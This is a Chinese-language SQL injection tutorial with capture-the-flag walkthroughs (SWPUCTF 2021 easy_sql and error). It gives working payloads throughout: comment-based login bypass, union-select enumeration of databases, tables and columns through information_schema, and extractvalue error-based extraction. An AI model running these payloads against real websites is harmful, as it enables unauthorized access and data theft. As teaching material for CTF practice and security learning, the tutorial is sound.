SQL注入
SQL简介
SQL,即结构化查询语言(Structured Query Language),也就是数据库语言。
MySQL是数据库管理系统,用来管理数据库。
SQL注入
SQL注入指的是web应用程序对用户输入数据合法性过滤不严,导致攻击者可以在程序中实现定义好的查询语句结尾再添加额外的查询语句,实现非法操作。
合法的输入数据是正常的中英文和数字,而',@,#,$,%
这种字符通常是不合法的。
例如:
1 |
|
不难看出这个程序可以对输入的username和password进行修改数据库的功能。比如,传入username=admin
和password=123456
,SQL代码就变成:
1 | select * from user where username='admin' and password='123456' |
但是,如果我们输入username=admin'#
和password=123456
,就会变成:
1 | select * from user where username='admin'#' and password='123456' |
注意到在sql里由于#
注释掉了后面的内容,那么这个语句语义就发生了改变,导致我们不需要判断密码,只需要输入用户名即可登录。
回显
在sql里需要明确回显这一问题,有回显就是指通过网页程序的SQL代码返回信息会显示在页面上,那么这就是有回显。
什么是无回显?在上面的例子中,成功只返回一个“成功”,失败只返回一个“失败”。只出现了这种提示信息,无其他信息可以利用。
此外还存在一种叫延迟无回显,需要通过时间来判断是否有注入点。
根据回显情况的不同,在进行SQL注入时会有不同的方式:
有回显SQL注入:联合查询注入、报错注入(也被认为是无回显)
无回显SQL注入:报错注入、盲注(分为布尔盲注和延时注入,延时注入也叫时间盲注)
注意,盲注是最耗时间的。
注入步骤
这里我们以[SWPUCTF 2021 新生赛]easy_sql作为入门来操作:
查看注入点
首先需要查找题目中有无可以注入的地方,通常是输入某种内容之后会返回数据等的地方。例如在题目中:
整个页面没有发现可以提交内容的部分,网页名称叫参数是wllm,初步推断是在url里进行GET传参,测试一下:
判断注入点提交方式
本题显而易见是通过GET注入,总共有好几种提交方式需要了解:
GET注入:通过GET提交数据,注入点在GET的参数部分。
可见在本题中,wllm是注入点。
POST注入:使用POST提交数据,注入点在POST的数据部分,常发生在表单(登录框、搜索框等)。
Cookie注入:HTTP在请求时会带上客户端的Cookie,注入点在Cookie的某个字段中。判断这种方式的依据可以在控制台查看Cookie,注意是否与平常的Cookie有所不同。
HTTP头注入:注入点在HTTP请求头的某个字段中,例如User-Agent
字段中。
在 HTTP 请求的时候,Cookie 也是头部的一个字段,所以 Cookie 应该也是算头部注入的一种形式。
前两种简单的注入直接在url和输入框操作即可实现,后两种通常需要抓包才会修改。通常比较常见的注入就是前两种。
判断是否可以注入和注入类型
注入类型总体归纳为数字型和字符型两种。
数字不需要用
''
去闭合,字符等类型需要使用''
闭合。注释通常用
#
来注释后面的信息,注释成功之后后面的信息就不会执行,达到绕过的效果。在web上通常使用
#
去注释会被网页认定为锚点定位网页,不能作为注释,通常使用--+
。在某些数据库系统中
--
后需要加一个空格才能被识别为注释,在URL中由于空格会被去掉或者编码,直接使用空格会错误,而空格通常会被编码为%20
或+
,所以应该使用--+
才能正确识别为注释。
例如url为http://www.xxx.com/index.php/id=X
,为了判断是数字型还是字符型,可以通过测试得知。这里有两种方法可以判断:引号大法和and大法。
引号大法:注入点后面添加'
,字符型中会出现三个引号导致报错。
and大法:注入点后面添加and 1=1
和and 1=2
,对于数字型,1=1
使得内容正确,1=2
使得内容错误,对比可以发现是否存在注入。
在本题中,输入:?wllm='
发现出现报错,推出是字符型。
而当我们后续注释掉它:?wllm=1'--+
,字符串末的'
被注释掉,那么构成一个字符串'1'
,后续就可以在后面继续写恶意的SQL语句了。
判断字段数
字段数也就是数据库的列数。
在wllm=1的基础上查询数据库的字段数,用到order by
,通过判断第几列能否排序来判断有几列:
1 | /?wllm=1' order by 3 --+ |
经过测试发现有3列。
也可以使用
group by
。
确定回显点
这里用到
union select 1,2,3
创建了一个三个值的三行记录,并和我们之前的原始查询结果组合在一起。这里如果wllm=1的话会查得到数据,直接输出查到的wllm=1数据和后面union组合的结果,但是我们想直接得到一个union select
的结果,例如这样:
1
2
3
4
5 +----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+所以不能和前面的组合起来,而负数一般都没有查询结果,所以设置为-1。
通过这种做法,我们可以得知题目给出的几个回显点在数据库表格的位置。
1 | /?wllm=-1' union select 1,2,3 --+ |
得到回显:
1 | Your Login name:2 |
这告诉我们name是第二列,password是第三列。
查询库名和用户名
database()
可以返回数据库的名字,user()
能得到当前连接数据库的用户名。
1 | /?wllm=-1' union select 1,database(),user() --+ |
得到回显:
1 | Your Login name:test_db |
知道了数据库名字是test_db
,而当前用户是root。
爆表和爆列
这一语句用于返回数据库中所有表的名称:
1 | group_concat(table_name) from information_schema.tables where table_schema='test_db' |
构成payload查询:
1 | /?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db' --+ |
得到两个表:
1 | Your Login name:2 |
这一语句用于返回选中的表的所有列名:
1 | group_concat(column_name) from information_schema.columns where table_name='test_tb' |
构成payload查询:
1 | /?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb' --+ |
得到回显:
1 | Your Login name:2 |
发现有一列名叫flag。
查flag
1 | group_concat(flag) from test_tb |
构成payload:
1 | /?wllm=-1 ' union select 1,2, group_concat(flag) from test_tb --+ |
查到flag:
报错注入
拿[SWPUCTF 2021 新生赛]error来简单演示一下报错注入的流程:
简单测试发现是字符型。没有找到回显点,此时就可以尝试使用报错注入。
还是先通过order by
爆破下字段数,得到字段数为3。
1 | id:1' order by 4# |
爆库名、表名、列名
先爆库名:
1 | union select 1,extractvalue(1,concat('~',(select database()))),3 |
payload:
1 | 1' union select 1,extractvalue(1,concat('~',(select database()))),3# |
给出了库名:
1 | id:1' union select 1,extractvalue(1,concat('~',(select database()))),3# |
知道库名之后可以爆表名:
1 | 1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3# |
1 | id:1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3# |
同样的继续爆列名:
1 | 1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='test_tb'))),3# |
1 | id:1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='test_tb'))),3# |
查flag
1 | 1' union select 1,extractvalue(1,concat('~',(select group_concat(flag) from test_tb))),3# |
1 | id:1' union select 1,extractvalue(1,concat('~',(select group_concat(flag) from test_tb))),3# |
发现一次居然查不完,还要查第二段:
1 | 1' union select 1,extractvalue(1,concat('~',(select substring(group_concat(flag),31,30) from test_tb))),3# |
1 | id:1' union select 1,extractvalue(1,concat('~',(select substring(group_concat(flag),31,30) from test_tb))),3# |
substring(group_concat(id,'~',flag),31,30)
里,31代表从31开始,后接30个字符,可以按照实际情况调整,即substring(str, start, length)
。